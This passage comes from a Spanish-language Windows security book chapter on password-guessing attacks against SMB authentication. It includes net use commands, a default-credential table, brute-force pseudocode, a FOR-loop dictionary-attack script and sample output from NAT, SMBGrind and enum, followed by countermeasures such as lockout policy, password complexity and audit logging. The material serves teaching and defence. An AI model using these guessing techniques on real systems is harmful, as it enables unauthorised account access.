de cuentas cuando se enfrascan en la adivinación de contraseñas. El bloqueo deshabilita la cuen-
ta y evita que quede disponible para ataques adicionales durante el periodo de bloqueo especi-
ficado por un administrador de sistema. (Tome nota de que una cuenta bloqueada es diferente
de una cuenta deshabilitada, que no está disponible hasta que la habilite el administrador).
Además, si se ha habilitado la auditoría, el bloqueo se muestra en los registros y, por lo ge-
neral, advertirá a los administradores y usuarios que alguien está jugando con las cuentas. Más
aún, si el equipo está ejecutando una aplicación de detección de intrusiones basada en host, es
probable que el número de inicios de sesión fallidos desencadene una alerta que se envía al equi-
po de operaciones de seguridad.
¿Cómo puede identificar si el bloqueo desencarrilará una auditoría de adivinación de con-
traseñas? La manera más limpia de determinar la directiva de bloqueo de un sistema remoto
consiste en enumerarlo mediante una sesión nula. Del capítulo 4, recordará que es posible enu-
merar el umbral de bloqueo si está disponible una sesión nula. Ésta es la manera más directa de
determinar si existe un umbral de bloqueo de cuenta.
Recuerde que las directivas de enumeración de contraseñas están deshabilitadas como opción
Nota
predeterminada en versiones más recientes de Windows, a menos que el sistema sea un controlador de
dominio.
05_SCAMBRAY_05.indd 119 7/28/08 8:55:41 PM

Si, por alguna razón, no puede encontrarse directamente la directiva de adivinación de con-
traseñas, otro método inteligente consiste en intentar primero la adivinación de contraseña
contra la cuenta Invitado. Como se indicó en el capítulo 2, Invitado está deshabilitada como op-
ción predeterminada en Windows, pero si alcanza el umbral de bloqueo, de todos modos se le
notificará. A continuación se presenta un ejemplo de lo que sucede cuando se bloquea la cuenta
Invitado. Fallará la primera adivinación de contraseña contra el recurso compartido IPC$ elegi-
do arbitrariamente en el servidor de destino, llevando el número de intentos sobre el umbral de
bloqueo especificado por la directiva de seguridad para este equipo:
C:\>net use \\mgmgrand\ipc$ * /u:invitado
Escriba la contraseña para \\mgmgrand\ipc$:
Una vez que se ha excedido el umbral de bloqueo, el siguiente intento de adivinación nos
indica que Invitado está bloqueado, aunque la cuenta esté deshabilitada:
La cuenta de referencia está bloqueada y no puede iniciar sesión en ella.
Además observe que cuando se adivinan contraseñas contra Invitado (o cualquier otra cuenta),
recibirá un mensaje de error diferente si en verdad adivina una contraseña correcta para una
cuenta deshabilitada:
Error de inicio de sesión: la cuenta está desactivada
Lo sorprendente es que la cuenta Invitado tiene una contraseña en blanco como opción pre-
determinada en Windows. Por tanto, si trata continuamente una contraseña NULL para la cuen-
ta Invitado, nunca llegará al umbral de bloqueo (a menos que se haya cambiado la contraseña).
Si está habilitada la falla de sucesos de inicio de sesión de cuenta, aparecerá un mensaje de
“cuenta desactivada”, aunque adivine la contraseña correcta para una cuenta deshabilitada.
Cómo hacer menos útil la cuenta Invitado

Por supuesto, la deshabilitación de los servicios de inicio de sesión es la mejor manera de evi-
tar la adivinación de contraseñas, pero suponiendo que no es una opción, ¿cómo puede evitar
que la cuenta Invitado sea útil para atacantes remotos? Puede eliminarla usando la utilería Del-
Guest de Arne Vidstrom (consulte “Referencias y lecturas adicionales”, al final de este capítulo).
DelGuest no tiene soporte de Microsoft y puede producir resultados inesperados (aunque los
autores la han usado en Windows 2000 Professional durante más de un año sin problemas).
Si la eliminación de la cuenta Invitado no es una opción, trate de bloquearla. De esa manera,
la adivinación de contraseñas contra ella no dará información sobre la directiva de contraseñas.
Además, aplique las buenas prácticas de contraseñas para todas las cuentas.
05_SCAMBRAY_05.indd 120 7/28/08 8:55:42 PM

La importancia de las cuentas Administrador y de servicios

En este capítulo identificamos varias combinaciones nombre de usuario/contraseña, incluidas
muchas para la cuenta todopoderosa Administrador. Nunca será suficiente el énfasis que pon-
gamos en la importancia de proteger esta cuenta. Una de las técnicas de explotación de dominio
de Windows que hemos encontrado en nuestra experiencia de consultoría incluye el compromi-
so de un solo equipo dentro del dominio (por lo general, en un dominio grande, donde tal vez
se considere confiable un sistema con una contraseña NULL, o débil, de Administrador, aun-
que este problema se maneja de manera muy efectiva en nuestros días y los frutos fáciles de
tomar empiezan a aparecer por todos lados). Una vez que el sistema está comprometido, un
atacante experimentado cargará las herramientas necesarias, incluido con toda probabilidad
la vieja lsadump2, o una herramienta de extracción similar entre las analizadas en el capítulo 7.
La herramienta lsadump2 extraerá contraseñas del almacén LSA Secrets para cuentas de domi-
nio que inician sesión en un servicio, otra práctica común en dominios de Windows. Después de
que se ha obtenido esta contraseña, suele ser algo trivial comprometer a los controladores de do-
minio al iniciar sesión como la cuenta de servicio.
Además, tome en consideración este hecho: debido a que los usuarios normales tienden a
cambiar sus contraseñas de acuerdo con un calendario poco regular (por directiva de seguri-
dad), es probable que la adivinación de contraseñas de cuentas de usuario regulares podría ser
difícil (y la adivinación de una contraseña correcta sólo obtiene cuentas de nivel de usuario).
Hmmmm. ¿Cuáles cuentas sólo cambian las contraseñas en raras ocasiones? ¡Los Adminis-
tradores! Y a menos que se tenga una práctica efectiva de tareas de administración, tienden a
usar la misma contraseña en varios servidores, incluidas sus propias estaciones de trabajo. Las
cuentas de copia de seguridad y de servicio también tienden a cambiar sus contraseñas con poca
frecuencia. Debido a que todas estas cuentas suelen tener altos privilegios y no suelen cambiar
sus contraseñas con la misma frecuencia que los usuarios, son las cuentas que los atacantes to-
man como blancos para realizar la adivinación de contraseñas.
Recuerde que ningún sistema es una isla en un dominio de Windows, y tal vez sólo se nece-
site una contraseñas mal elegida para develar la seguridad de todo su entorno de Windows.
Ahora que ya hemos revisado algunas de las tareas, analicemos algunas herramientas y téc-
nicas de adivinación de contraseñas.
Adivinación manual de contraseñas

Popularidad: 10
Simplicidad: 9
Impacto: 5
Una vez que un rastreador de puertos ha identificado los servicios de autentificación y que se
han enumerado los recursos compartidos, es difícil resistirse a realizar una adivinación de con-
traseñas (o 10) utilizando el comando de línea de comandos net use. Es tan fácil como esto:
C:\>net use \\victima\ipc$ contraseña /u:victima\nombreusuario

05_SCAMBRAY_05.indd 121 7/28/08 8:55:43 PM

Observe que ha usado el nombre de usuario plenamente calificado en este ejemplo, victima\
nombreusuario, que identifica de manera explícita la cuenta que estamos atacando. Aunque esto
no siempre es necesario, puede evitar resultados erráticos en ciertas situaciones, como cuan-
do los menús desplegables net use se lanzan desde una shell de comando que se ejecuta como
LocalSystem.
La efectividad del ataque manual de adivinación de contraseñas es cercano a 100% o nil, de-
pendiendo de cuánta información haya reunido el atacante acerca del sistema y si éste se ha con-
figurado con una de las combinaciones de nombre de usuario/contraseña de alta probabilidad
de la lista de la tabla 5-1.
En la tabla 5-1, observará que hemos usado minúsculas para todas las contraseñas: debido a
que las contraseñas de los sistemas modernos de Windows son sensibles a mayúsculas y mi-
núsculas, las variaciones de mayúsculas en las contraseñas anteriores también pueden resultar
efectivas (en contraste, los nombres de usuario no son sensibles). Está de más decir que estas
combinaciones no deben aparecer en ningún lado de la infraestructura, o probablemente se con-
vertirá pronto en víctima de alguien.
Más adelante, en la sección “Contramedidas ante la adivinación de contraseñas” analizaremos las

Nota
contramedidas.
Nombre de cuenta Contraseñas de alta probabilidad

Administrador, admin, root NULL, contraseña, administrador, admin, root, nom-
bre_equipo, nombre_dominio, nombre_grupotrabajo, o una
combinación de éstos, combinación del nombre del sistema,
ubicación, etc.
prueba, lab, demo NULL, prueba, test, laboratorio, contraseña, temp,
compartir, escribir, completo, ambos, leer, archivos,
demo, acceso, usuario, servidor, local, nombre_equipo,
nombre_dominio, nombre_grupotrabajo
nombreusuario NULL, bienvenido, nombreusuario, nombre_empresa
backup backup, copia_seguridad, sistema, servidor, local,
nombre_equipo, nombre_dominio, nombre_grupotrabajo
arcserve arcserve, backup
tivoli tivoli, tmesrvd
symbiator symbiator, as400
backupexec backup, arcada
Tabla 5-1 Combinaciones de nombre de usuario/contraseña de alta probabilidad
05_SCAMBRAY_05.indd 122 7/28/08 8:55:44 PM

Ataques de diccionario
Popularidad: 8
Simplicidad: 9
Impacto: 7
Como el legendario John Henry lo imaginó en su épica batalla con la tecnología (representa-
da por la máquina de conducir de acero), las facultades humanas se ven rápidamente sobrepa-
sadas por el ataque inimaginable e insensible de los procesos mecánicos automatizados. Algunos
toman la forma de la adivinación de contraseñas: un equipo de cómputo es mucho más adecua-
do para este tipo de tareas repetitivas y aporta una eficiencia tan masiva al proceso que rápida-
mente sobrepasa los hábitos humanos de selección de contraseñas. Existen varios métodos para
la adivinación automatizada de contraseñas contra SMB, y los analizaremos aquí en secuencia.
Por ejemplo, es muy fácil implementar un operador que use la fuerza bruta para iniciar se-
sión mediante la función WNetAddConnection2 de Win32. Esta API está bien documentada en
MSDN (consulte “Referencias y lecturas adicionales”). A continuación se presenta cierto pseu-
docódigo que muestra uno de estos operadores de fuerza bruta que podría construir utilizando
WNetAddConnection2.
OpenFile("contraseña.txt")
ReadNextPassword(LineFromFile)
If(EOF) then exit
WNetAddConnection2(recurso, LineFromFile, "Administrador",0)
if(Status == STATUS_SUCCESS) print “la contraseña es: LineFromFile”
else goto 20
exit
Puede utilizarse un método similar para cualquier otra llamada a API, ya sea de Microsoft o de
terceros, que proporcionen bibliotecas para construir clientes para el producto que venden.
La velocidad con que se realice el llamado “descubrimiento de inicio de sesión” (es decir, el
intento de encontrar pares de nombre de usuario y contraseña válidos al usar mecanismos de
inicio de sesión nativos para establecer la sesión), depende de la versión de Windows. Para Win-
dows 2000, Microsoft reescribió el redirector de SMB, lo que habilitó las redes de alta velocidad
pero también benefició a los atacantes al ofrecer descubrimiento o irrupción de más alta veloci-
dad (aunque se use W2K como proxy para NT4). Éste es un buen ejemplo de mejoras bien inten-
cionadas en el desempeño que tiene repercusiones negativas cuando se usa para fines
maliciosos.
Bucles FOR La manera más simple de automatizar la adivinación de contraseñas consiste en

usar el comando simple FOR integrado en la consola de Windows. Esto puede arrojar un núme-
ro casi ilimitado de suposiciones nombre de usuario/contraseña en un sistema remoto con ser-
vicios de autentificación de Windows. Si es un administrador de tales sistemas, tal vez algún día
se encuentre en los zapatos de John Henry. He aquí cómo funciona un ataque mediante el bucle
FOR.
05_SCAMBRAY_05.indd 123 7/28/08 8:55:46 PM

En primer lugar, cree un archivo de texto con pares nombre de usuario/contraseña delimi-
tado por espacios o tabuladores. Este archivo podría parecerse al del siguiente ejemplo, que lla-
maremos credenciales.txt:
[file: credenciales.txt]
administrador ""
administrador contraseña
administrador administrador
...
Este archivo servirá como diccionario del que el bucle FOR principal obtendrá nombres de
usuario y contraseñas mientras itera por cada línea del archivo. El término ataque de diccionario
describe el uso genérico de valores precalculados para adivinar contraseñas o claves criptográ-
ficas, en oposición a un ataque de fuerza bruta, que genera valores aleatorios en lugar de extraerlos
de una tabla o un archivo precalculado.
Entonces, de un directorio que puede ingresar credenciales.txt, ejecute los comandos si-
guientes, que se han dividido en líneas separadas usando el carácter ^ especial para evitar tener
que escribir la cadena completa de comandos a la vez.
C:\>FOR /F “tokens=1,2*” %i in (credenciales.txt)^

More? Do net use \\victima.com/IPC$ %j /u:victima.com\%i^
More? 2>\>nul^
More? && echo %time% %date% >\> archivosalida.txt^
More? && echo \\victima.com acct: %i pass: %j >\> archivosalida.txt
(Asegúrese de incluir un espacio adicional antes de las líneas 3, 4 y 5, pero no de la línea 2.)
Recorramos cada línea de este conjunto de comandos para ver lo que hace:
• Línea 1 Abre credenciales.txt, analiza cada línea y las divide en tokens delimitadas
por un espacio o tabulador, y luego pasa la primera y segunda token o ficha al cuerpo
del bucle FOR como variables %i y %j para cada iteración (nombre de usuario y
contraseña, respectivamente).
• Línea 2 Recorre en bucle un comando net use, insertando las tokens %i y %j en
lugar del nombre de usuario y la contraseña, respectivamente.
• Línea 3 Redirige stderr a nul para que las fallas de inicio de sesión no se impriman
en la pantalla (para redirigir stdout, use 1>\>).
• Línea 4 Adjunta la hora y fecha actuales al archivo archivosalida.txt.
• Línea 5 Adjunta el nombre del servidor y las tokens de nombre de usuario y
contraseña adivinadas con éxito a archivosalida.txt.
Después de que se ejecuten estos comandos, si se ha adivinado con éxito un par nombre de
usuario y contraseña de credenciales.txt, archivosalida.txt existirá y tendrá un aspecto similar a
éste:
C:\>type archivosalida.txt
11:53:43.42 Mie 19/05/2001
\\victima.com acct: administrador pass: ""
El sistema del atacante también tendrá una sesión abierta con el servidor de la víctima:
05_SCAMBRAY_05.indd 124 7/28/08 8:55:46 PM

C:\>net use
No se registrarán las nuevas conexiones.
Estado Local Remoto Red

-------------------------------------------------------------------------
Conectado \\victima.com\IPC$ Red de Microsoft Windows
Este ejemplo simple sólo es una demostración de una de las posibles maneras de realizar
adivinación de contraseñas empleando un bucle FOR. Evidentemente, este concepto podría ex-
tenderse más aún, con entrada de un rastreador de puertos (consulte el capítulo 3) para precar-
gar una lista de servidores visibles de Windows de redes adyacentes, revisión de errores, etc. No
obstante, lo importante aquí es la facilidad con que los ataques de adivinación de contraseñas
pueden automatizarse empleando sólo comandos integrados de Windows.
Una desventaja del uso de los comandos net use de línea de comandos es que cada uno crea
NOTA
una conexión que aparece como una entrada de registro separada en el host de destino. Cuando
usamos la GUI de Windows para autentificar, las adivinaciones de contraseñas se hacen dentro de
la misma sesión y sólo muestran una sola entrada de conexión en los registros.
NAT: la herramienta de auditoría de NetBIOS NAT es un ejecutable compilado gratuito que realiza
ataques de diccionario contra SMB, de destino en destino. Sin embargo, opera desde una línea
de comandos, de modo que es fácil incluir sus actividades en una secuencia de comandos. NAT
se conectará a un sistema de destino y luego tratará de adivinar contraseñas desde una matriz
predefinida y listas proporcionadas por el usuario. Una desventaja de NAT es que una vez que
adivina un conjunto apropiado de credenciales, de inmediato trata de acceder a él usando esas
credenciales. Por tanto, no se encuentran contraseñas débiles adicionales de otras cuentas. En el
siguiente ejemplo se muestra un bucle FOR simple que itera con NAT a través de la subred clase
C. La salida se ha editado para que sea breve.
D:\>FOR /L %i IN (1, 1, 254) DO nat –u listausuarios.txt –p listacontraseñas.txt

A192.168.202.%i >\> archivosalida_nat.txt
[*]--- Checking host: 192.168.202.1
[*]--- Obtaining list of remote NetBIOS names
[*]--- Attempting to connect with Username: 'ADMINISTRADOR' Password:
'ADMINISTRADOR'
[*]--- Attempting to connect with Username: 'ADMINISTRADOR' Password:
'INVITADO'
...
[*]--- CONNECTED: Username 'ADMINISTRADOR' Password: 'CONTRASEÑA'
[*]--- Attempting to access share: \\*SMBSERVER\TEMP
[*]--- WARNING: Able to access share: \\*SMBSERVER\TEMP
[*]--- Checking write access in: \\*SMBSERVER\TEMP
[*]--- WARNING. Directory es writeable: \\*SMBSERVER\TEMP
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\TEMP
...
05_SCAMBRAY_05.indd 125 7/28/08 8:55:47 PM

NAT es una herramienta de adivinación de contraseñas rápida y fácil, si están disponibles

listas de nombres de usuario y contraseñas de calidad. Si se ha realizado con éxito la enumera-
ción SMB, es muy fácil dar con una lista de nombres de usuario.
SMBGrind NAT es gratuito y, por lo general, hace bien el trabajo. En el caso de las personas que
quieren adivinación de contraseñas con fortaleza comercial, la vieja aplicación CyberCorp
de Network Associates (que ya no está en existencia) incluye una utilería llamada SMBGrind
que es extremadamente rápida, debido a que puede configurar varias trituradoras que se ejecu-
tan en paralelo. En otros aspectos, no es muy diferente de NAT. A continuación se presentan al-
gunas muestras de salida de la versión de línea de comandos de SMBGrind. El –1 en la sintaxis
especifica el número de conexiones simultáneas (es decir, sesiones de trituración paralelas). Si no
se especifican –u y –p, SMBGrind va de manera predeterminada a NTuserlist.txt y NTpasslist.
txt, respectivamente.
C:\>smbgrind –i 192.168.234.24 –r victima

-u listausuarios.txt –p listacontraseñas.txt -1 20 –v
Host address: 192.168.234.240
Userlist : listausuarios.txt
Passlist : listacontraseñas.txt
Checking host 192.168.234.240 (victima)
Parallel Grinders: 20
Percent complete: 0
Trying: administrador
Trying: administrador contraseña
Trying: administrador administrador
Trying: administrador test
...
Guessed: administrador Password: administrador
Trying: joel
Trying: joel contraseña
Trying: joel administrador
Percent complete: 25
Trying: joel test
...
Trying: ejohnson
Trying: ejohnson contraseña
Percent complete: 95
Trying: ejohnson administrador
Trying: ejohnson ejohnson
Guessed: ejohnson Password: ejohnson
Percent completo: 100
Grinding complete, guessed 2 accounts
05_SCAMBRAY_05.indd 126 7/28/08 8:55:47 PM

Este ejemplo, en particular, tardó menos de un segundo en completarse y cubre siete com-
binaciones de nombres de usuario y contraseñas, de modo que puede ver lo rápido que es
SMBGrind. Tome en cuenta que es capaz de adivinar varias cuentas dentro de una sesión (aquí
encontró administrador y ejohnson), y sigue adivinando cada contraseña de la lista aunque en-
cuentre una coincidencia antes del final (como lo hizo con la cuenta Administrador). Esto puede
producir entradas de registro innecesarias, porque si se conoce una de las contraseñas, no tiene
sentido seguir adivinando para ese usuario. Sin embargo, SMBGrind también falsifica entradas
de registro de sucesos, de modo que, al parecer, todos los intentos se originan en el dominio
CYBERCOP, estación de trabajo \\CYBERCOP en el registro de seguridad del sistema remoto,
si se ha habilitado la auditoría. Uno de estos días, Microsoft actualizará los registros de sucesos
de Windows, de modo que puedan trazar las direcciones IP.
Opción –dict de enum Ya analizamos antes la herramienta enum en el capítulo 4, donde indica-
mos que tiene la capacidad de realizar ataques de diccionario a SMB. He aquí un ejemplo de
enum ejecutando uno de esos ataques contra un sistema de Windows 2000:
C:\>enum –D –u administrador –f Diccionario.txt mirage

username: administrador
dictfile: Diccionario.txt
server: mirage
(1) administrador |
return 1326, Logon failure; unknown user name o bad password
(2) administrador | contraseña
[etc.]
(10) administrador | nadie
(11) administrador | espacio
(12) administrador | abretesesamo
password found: abretesesamo
Después de una contraseña adivinada correctamente, encontrará que enum se ha autentifi-

cado ante el recurso compartido IPC$ en el equipo de destino. Enum es realmente lento en la
trituración de SMB, pero es exacto. (Nuestra experiencia con falsos negativos es mínima).
Trituración de WMI con Venom Como ya se mencionó brevemente en relación con el uso de auten-
tificación integrada, SMB no es el único medio que puede usar para tratar de descubrir un inicio
de sesión. Microsoft introdujo la interfaz de instrumentación de administración de Windows
(WMI, Windows Management Instrumentation) principalmente para administrar sistemas.
Como esta interfaz también da soporte a inicios de sesión, es muy útil como base para herra-
mientas de descubrimiento de inicios de sesión. Una de esas herramientas es Venom (consulte
“Referencias y recursos adicionales”). El uso de Venom contra un sistema de Vista se ilustra en
la figura 5-1.
05_SCAMBRAY_05.indd 127 7/28/08 8:55:48 PM

Figura 5-1 La herramienta Venom para descubrimiento de inicios de sesión de Windows vía WMI
Contramedidas ante la adivinación de contraseñas

La mejor solución a la adivinación de contraseñas es bloquear el acceso a los servicios de autentifica-
ción de Windows o deshabilitarlos, como se analizó en el capítulo 4.
Suponiendo que SMB no puede bloquearse o deshabilitarse por completo, a continuación
analizamos algunas de las otras contramedidas disponibles. Casi todas las características anali-
zadas están disponibles en el complemento de MMC Directiva de seguridad de Windows, que
se encuentra dentro de las Herramientas administrativas. La Directiva de seguridad se analiza
de manera detallada en el capítulo 12.
Imposición de complejidad de contraseñas (passfilt) Nunca dejaremos de insistir en la importancia

de seleccionar contraseñas sólidas, difíciles de adivinar, sobre todo para servicios de autentifi-
cación de Windows. Sólo se necesita una contraseña mal elegida para dejar abierta toda una or-
ganización (y lo hemos visto una gran cantidad de ocasiones). Desde NT 4 Service Pack 2, el
sistema operativo más avanzado de Microsoft ha proporcionado capacidad para imponer
contraseñas complejas entre sistemas individuales o dominios completos. Llamada antes pass-
filt, por la biblioteca dinámica de vínculos (DLL, Dynamic Link Library) que lleva su nombre, el
filtro de contraseñas puede ahora establecerse bajo la applet Directiva de seguridad (consulte
el capítulo 12) bajo la opción Las contraseñas deben cumplir los requisitos de complejidad, como
se muestra en la figura 5-2.
Al igual que con el original passfilt, al establecer esta opción en Habilitado requerirá que las
contraseñas tengan por lo menos seis caracteres de largo, no pueden contener un nombre de
usuario ni cualquier parte de un nombre completo, y deben contener caracteres de por lo menos
tres de los siguientes:
• Letras mayúsculas en español (A, B, C…Z)

• Letras minúsculas en español (a, b, c…z)
05_SCAMBRAY_05.indd 128 7/28/08 8:55:48 PM

Figura 5-2 La habilitación de contraseña de Windows XP impone la selección de contraseñas sólidas
• Números arábigos (0, 1, 2…9)

• Metacaracteres no alfanuméricos (@, #, !, &, etcétera)
La opción Las contraseñas deben cumplir los requisitos de complejidad ha estado disponible en
la directiva de seguridad desde Windows 2000. Windows Vista y Windows 2008 mejoran aún
más esta opción al permitir que los requisitos sean dirigidos a grupos específicos.
NOTA El archivo passfilt.dll ya no se requiere en sistemas más recientes de Windows (todo se hace a
través de esta configuración de directiva de seguridad).
El archivo passfilt de NT 4 tenía dos limitaciones: el requisito de seis caracteres de largo es-
taba incluido en el código, y sólo filtraba requisitos del usuario para cambiar contraseñas me-
diante las herramientas de consola, pasando por alto los requisitos de passfilt. Ambos problemas
se atienden fácilmente. En primer lugar, establezca una longitud de contraseña mínima utilizan-
do la directiva de seguridad. (Recomendamos siete caracteres, de acuerdo con el análisis del ca-
pítulo 7.) En segundo lugar, el filtro de contraseñas de Windows debe aplicarse a todas las
contraseñas restablecidas, se establezcan en la consola o remotamente.
También pueden desarrollarse DLL passfilt personalizadas para que coincidan con la direc-
tiva de contraseña de cualquier organización de manera más estrecha. (Consulte la sección “Re-
ferencias y lecturas adicionales”, al final de este capítulo.) Esté consciente de que DLL passfilt
que sirvan como caballos de Troya estarían en una posición perfecta para comprometer la segu-
ridad, de modo que inspeccione cuidadosamente las DLL de terceros.
En el caso de cuentas muy confidenciales, como las verdaderas cuentas Administrador y de
servicios, también recomendamos la incorporación de caracteres ASCII que no sean de impre-
sión. Esto hace que las contraseñas sean extraordinariamente difíciles de adivinar. Esta medida
está diseñada más para frustrar los ataques de adivinación de contraseñas fuera de línea (por
ejemplo, descubrimiento o irrupción), que se analizarán con detenimiento en el capítulo 7.
05_SCAMBRAY_05.indd 129 7/28/08 8:55:49 PM

A pesar de que hay diferentes filtros para asegurar la complejidad de las contraseñas, es una
buena práctica abogar por el uso de frases de contraseña, que son frases que se usan en lugar de
una simple contraseña, como el nombre lo indica, y por lo general los usuarios pueden recordar-
las mejor que las contraseñas complejas. Por ejemplo, es más fácil recordar Exposición de hackeo
de Windows 2003, n! edición y es más difícil de romper que HK1nXpdw2k3. Los vínculos con más
información sobre frases de contraseña pueden encontrarse en la sección “Referencia y lecturas
adicionales”.
Bloqueos de cuentas Otro factor crítico en el bloqueo de la adivinación de contraseñas es habili-

tar un umbral de bloqueo de cuentas, aunque a algunas organizaciones les resulta difícil darle so-
porte (como analizaremos en un momento). El bloqueo de cuentas deshabilitará una cuenta una
vez que se haya alcanzado el umbral. En la figura 5-3 se muestra la manera en que puede habi-
litarse el bloqueo de cuentas empleando la Directiva de seguridad. A menos que el bloqueo de
cuentas esté establecido en un número razonablemente bajo (recomendamos 5), la adivinación
de contraseñas puede seguir sin abatirse hasta que el intruso tenga suerte o hasta que compile
un archivo de diccionario suficientemente grande, lo que suceda primero.
Lo interesante es que Windows conserva un registro de inicios de sesión fallidos, aunque no
se haya establecido un umbral de bloqueo. (Una herramienta como UserDump, que se vio en el
capítulo 4, mostrará el número de inicios de sesión fallidos y la fecha en que se hizo el último de
éstos mediante una sesión null, si está disponible). Si se habilita después del bloqueo de cuentas,
examina todas las cuentas y bloquea las que hayan excedido el umbral dentro de los últimos Y
minutos (donde Y es el número de minutos que estableció en la directiva de bloqueo de cuentas).
Se trata de una implementación más segura, porque habilita el umbral de bloqueo para que se
aplique casi instantáneamente, pero podría causar alguna perturbación en la comunidad de
usuarios si ha ocurrido una gran cantidad de fallas de inicio de sesión dentro de la ventana del
umbral bloqueado (aunque probablemente esto ocurra en raras ocasiones). (Gracias a Eric Schul-
tze por llamar nuestra atención sobre este comportamiento).
Algunas organizaciones con las que hemos trabajado como asesores de seguridad han re-
sistido la implementación de umbrales de bloqueo. Debido a que sólo grupos administrativos
Figura 5-3 Establecimiento de un umbral de bloque de cuentas empleando la directiva de seguridad
05_SCAMBRAY_05.indd 130 7/28/08 8:55:50 PM

selectos pueden volver a habilitar una cuenta bloqueada, casi todas las empresas observan una
relación inversa entre un umbral menor de bloques y mayores costos de soporte de escritorio y,
por tanto, eligen no imponer esa carga a sus usuarios, su personal de soporte y sus recursos fi-
nancieros. Sin embargo, consideramos que esto es un error, y aconsejamos que se tome el esfuer-
zo de encontrar el número mágico de bloqueos que su organización puede tolerar sin volver loco
al personal de soporte. Recuerde que aún umbrales aparentemente absurdos pueden evitar los
caprichos de la adivinación de contraseñas. (¡Hemos visto que incluso hay organizaciones que
implementan umbrales de 100!). También puede jugar con la duración del bloqueo de cuentas y
automatizar la duración del restablecimiento (lo que también se configura en la directiva de se-
guridad) para aliviar aquí parte de la carga.
Una vez dicho esto, los umbrales de bloqueo de cuentas crean la posibilidad de una condi-
ción de negación del servicio, sea por accidente o con intención. Un escenario común es cuando
las cuentas de servicio que se bloquean cuando vencen las contraseñas en el dominio (acciden-
tal) o cuando un empleado inconforme trata de iniciar sesión usando los nombres de cuenta de
compañeros de trabajo y contraseñas falsas conocidas intencionalmente para frustrar a los de-
más empleados. Use esta opción con cuidado y asegúrese de que su elección funciona bien en su
entorno particular.
Habilite la auditoría de sucesos de falla de inicio de sesión Sacuda de nuevo la elegante applet de
directivas de seguridad y habilite la auditoría de inicios de sesión e inicios de sesión de cuenta
(a un mínimo), como se muestra en la figura 5-4.
Ésta es una recomendación mínima, porque sólo capturará sucesos de inicio de sesión falli-
dos que pueden ser indicativos de ataques de adivinación de contraseñas. Los inicios de sesión
fallidos aparecerán con los ID de suceso 529 (suceso de inicio de sesión fallido) y 681 (suceso de
inicio de sesión de cuenta fallido) en el registro de seguridad. Los sucesos de bloqueo de cuentas
tienen el ID 539. En el capítulo 6 analizaremos la auditoría de manera más general. Recuerde que
antes de Windows Vista, el registro de sucesos sólo rastreaba el nombre del equipo de NetBIOS
del sistema ofensor, no su dirección IP, limitando su capacidad para rastrear la actividad de adi-
vinación de contraseñas.
Figura 5-4 La habilitación de la auditoría de sucesos de falla de inicio de sesión puede proporcionar
indicios de ataques de adivinación de contraseñas
05_SCAMBRAY_05.indd 131 7/28/08 8:55:51 PM

NOTA Como opción predeterminada, Windows registra el éxito de los sucesos de inicio de sesión de
cuentas y de inicio de sesión.
¡Revise los registros de sucesos! Recuerde que el solo hecho de auditar los sucesos de inicio de
sesión no es una defensa suficiente contra las intrusiones: los registros deben revisarse de mane-
ra periódica, si las entradas generadas por esa configuración habrán de tener algún significado.
En un entorno grande, la revisión de los registros de manera mensual puede ser una tarea titá-
nica. Busque herramientas automatizadas de vigilancia e informe de registros para que realice
esta tarea. Recomendamos estos productos:
• Event Log Monitor (ELM) de TNT Software ELM consolida los registros de sucesos
en un depósito central en tiempo real, para proporcionar correlación de todos los
sucesos en un origen de datos. Debe instalarse un agente en cada equipo que habrá de
monitorearse.
• EventAdmin de Aelita Software, ahora Quest Software EventAdmin realiza muchas
de las mismas funciones que ELM, sin necesidad de que haya un agente en cada
equipo.
(En la sección “Referencias y lecturas adicionales”, al final de este capítulo, se encuentran víncu-
los a los sitios Web de cada una de estas empresas).
También puede obtener mayor conocimiento y, por tanto, controlar sus redes al usar siste-
mas de administración de sucesos de seguridad e información (SEM o SIEM), que proporcionan
información de diferentes orígenes de registro, como sistemas operativos, enrutadores, fire-
walls, sistemas de detección de intrusiones y sistemas de protección ante intrusiones. Para cons-
truir buenas defensas, debe saber primero lo que necesita proteger.
Deshabilite la verdadera cuenta Administrador y cree un señuelo La cuenta Administrador resulta es-
pecialmente problemática cuando se trata de ataques de adivinación de contraseñas. En primer
lugar, tiene un nombre estándar que se conoce ampliamente (los intrusos suelen asegurarse
de que por lo menos tienen el nombre de cuenta correcto cuando atacan esta cuenta). El cam-
bio de nombre ofrece cierta protección, pero no es a prueba de tontos (ya hemos mostrado en el
capítulo 4 cómo las técnicas creativas de enumeración pueden determinar el verdadero nombre
del Administrador). En segundo lugar, como opción predeterminada, la cuenta Administrador
no está sujeta a los parámetros de bloqueo de cuentas en Windows Server 2003 y versiones an-
teriores, sin importar cómo se hayan configurado estos parámetros. Esto significa que puede
hacerse un número ilimitado de adivinaciones de contraseñas contra la cuenta Administrador
sin bloqueo, si la cuenta está mal configurada.
Aun se debate cuánto valor tiene el cambio de nombre de la cuenta Administrador desde la
perspectiva de la seguridad, porque al verdadero Administrador siempre puede identificársele
por su SID, si es posible la enumeración, sin importar su nombre (consulte el capítulo 4). Sin em-
bargo, recomendamos que la cuenta integrada Administrador sólo se use cuando sea explícita-
mente necesario, como en el caso de la realización de tareas administrativas locales cuando el
dominio no está disponible. Si es posible deshabilitar o cambiar el nombre de la cuenta (que es la
opción predeterminada en las modernas versiones de Windows, incluidas XP y posteriores), lo
recomendamos. Todo lo que hace a un lado de los atacantes la información conocida es bueno.
Recomendamos que se configure una cuenta “señuelo” de Administrador exactamente como
la verdadera cuenta Administrador. Esto identificará rápidamente a los ataques torpes de adivi-
nación de contraseñas en los registros. No haga que el Administrador falso sea parte de ningún
05_SCAMBRAY_05.indd 132 7/28/08 8:55:51 PM

grupo, y asegúrese de llenar el campo Descripción de la cuenta con el valor apropiado (Cuenta
integrada para la administración del equipo o dominio). En cuanto a la deshabilitación de la verdade-
ra cuenta Administrador, las versiones de Windows, a partir de XP, permiten el cambio de nom-
bre y la deshabilitación de esta cuenta utilizando la Directiva de seguridad (secpol.msc).
Cuando se trata del bloqueo de cuentas, el Administrador integrado siempre ha sido un
blanco jugoso porque no está sujeto a la directiva de bloqueo de cuentas como opción predeter-
minada. (Por ejemplo, el Administrador no se bloqueará sin importar cuantas suposiciones falli-
das de contraseña se hagan). El kit de recursos de NT 4 incluía una utilería llamada passprop
que podía usarse para configurar el bloqueo de cuentas para la cuenta Administrador (RID 500).
Passprop cambia el comportamiento predeterminado para que la cuenta Administrador pueda
bloquearse como cualquiera otra después de un número prescrito de malas suposiciones. (La
